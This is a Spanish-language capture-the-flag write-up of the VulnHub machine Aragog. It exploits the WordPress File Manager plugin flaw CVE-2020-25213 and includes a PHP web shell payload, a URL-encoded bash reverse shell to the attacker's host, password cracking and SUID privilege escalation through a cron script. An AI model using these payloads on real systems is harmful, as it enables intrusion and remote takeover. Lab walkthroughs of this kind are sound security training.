Aragog
En esta publicación, abordaremos la resolución de la máquina Aragog de la plataforma VulnHub, la cual forma parte de la serie de máquinas inspiradas en Harry Potter. En primer lugar, aprovecharemos una vulnerabilidad presente en un plugin del CMS que está en ejecución en la máquina víctima, lo que nos permitirá lograr la ejecución remota de comandos. Posteriormente, obtendremos acceso a la base de datos, donde encontraremos un hash correspondiente a la contraseña de un usuario. Este hash puede ser crackeado utilizando la herramienta john
. Finalmente, para elevar nuestros privilegios, modificaremos un script con permisos SUID.
Reconocimiento
Iniciamos como siempre, lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.
Reconocimento usando el comando ping
Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live).
Descubrimiento de puertos abiertos
Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.
1
nmap -sS -p- --open --min-rate -Pn -n 5000 192.168.1.13 -oG scanPorts -vvv
Descubrimiento de puertos abiertos
ver la Cheatsheet para más detalle sobre los parámetros utilizados.
Enumeración de versión y servicio
Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos.
1
nmap -sCV -p22,80 -oN targeted -vvv 192.168.1.13
Descubrimiento de versión y servicio con nmap
ver la Cheatsheet para más detalle sobre los parámetros utilizados.
Explotación - Wordpress
Si ejecutamos la herramienta wathweb
al puerto 80 de la máquina víctima, vemos que nos reporta lo siguiente:
Observamos que la información que nos muestra esta herramienta es limitada, informando únicamente que la versión de Apache (2.4.25)
y el sistema operativo Debian
.
Al acceder al sitio web, nos encontramos con lo siguiente:
Si realizamos un poco de fuzzing con la herramienta gobuster
, descubrimos la ruta /blog
.
Al ingresar a la ruta, nos encontramos con lo que parecer ser una instancia del CMS Wordpress.
Podemos utilizar Wappalyzer para conocer un poco más sobre las tecnologías usadas en la web.
Vemos que estamos frente a un Wordpress (5.0.12)
, Apache (2.4.38)
y el sistema operativo Debian
y como motor de base de datos MySQL
.
Al parecer, no se estan logrando cargar recursos de la web, estilos css, archivos javascript, imágenes, etc. Si miramos el código fuente, vemos que se estan cargando desde un dominio que no se esta logrando resolver wordpress.aragog.hogwarts
.
Agregamos el domino a nuestro archivo /etc/hosts
.
1
echo "192.168.1.13 aragog.hogwarts wordpress.aragog.hogwarts" >> /etc/hosts
Recargamos la página web y observamos que los recursos se cargan correctamente esta vez.
Realizamos una enumeración de Wordpress en busca de plugins o temas vulnerables, en este caso, usando la herramienta wpscan
.
1
wpscan --url http://wordpress.aragog.hogwarts/blog --api-token $WP_TOKEN --plugins-detection aggressive
Podemos utilizar otras herramientas como
nmap
utilizando el scripthttp-wordpress-enum
,nuclei
o la realización de fuzzing conffuf
,gobuster
, entre otras, podrían ser utilizadas.
Vemos que nos reporta varias vulnerabilidades, entre ellas, el plugin File Manager 6.0-6.9
el cual es vulnerable a Unauthenticated Arbitrary File Upload leading to RCE
. Dicha vulnerabilidad esta identificada como CVE-2020-25213
.
Si ingreamos al primer enlace que nos idnica la herramienta wpscan
, podemos ver que nos comparten un PoC. Descargamos el script de Python.
Antes de ejecutar el exploit, debemos crear un archivo php con nombre payload.php
el cual contendra nuestro código php que será subido al servidor.
1
<?php system($_GET['cmd']); ?>
La ruta correcta es: http://wordpress.aragog.hogwarts/blog/wp-content/plugins/wp-file-manager/lib/files/payload.php y no la que indica el exploit.
Accedemos a la ruta e indicamos como paráemtro cmd=id
.
Vemos que tenemos capacidad de ejecución remota de comandos.
Ejecutamos una reverse shell. Para lo cual, nos ponemos en escucha por el puerto 4444
con nc
.
1
nc -lnvp 4444
Ejecutamos la reverse shell.
1
http://wordpress.aragog.hogwarts/blog/wp-content/plugins/wp-file-manager/lib/files/payload.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.1.14/4444%200%3E%261%22
Ganamos acceso al sistema como el usuario www-data
.
Hacemos el tratamiento de la tty para tener una terminal más interactiva:
script /dev/null -c bash
- CTRL + Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows <rows> columns <columns>
De esta forma, ya podemos leer el primer horrocrux.
1: RidDlE’s DiAry dEstroYed By haRry in chaMbEr of SeCrets
Usuario hagrid98
Si realizamos un reconocimiento del sistema, nos encontramos con un archivo con las credenciales de la base de datos wordpress.
Nos conectamos a la base de datos y logramos obtener el hash de la contraseña del usuario hagrid98
.
Crackeamos la contraseña con john
.
Crackeamos la contraseña utilizando john
Obtenemos la contraseña del usuario hagrid98
y nos conectamos a través de ssh.
Escalación de privilegios
Si miramos las tareas cron en ejecución utilizando la herramienta pspy64
, nos encontramos con una tarea la cual ejecuta un script ubicado en /opt/.backup.sh
.
El propietario de este script es el usuario hagrid98
, por lo que estamos de suerte ya que podemos modificar el contenido del script.
Modificamos el script para asignar permisos SUID al binario bash
.
De esta manera, ya podemos escalar nuestros privilegios y acceder como el usuario root
.
Finalmente, obtenemos el segundo horrocrux.
2: maRvoLo GaUnt’s riNg deStrOyed bY DUmbledOre
Con esto, finalizamos la resolución de la máquina Aragog.
Espero que los conceptos hayan quedado claros. En caso de tener alguna duda, te invito a realizar nuevamente la máquina para afianzar tus conocimientos.
Gracias por tu lectura!
Happy Hacking!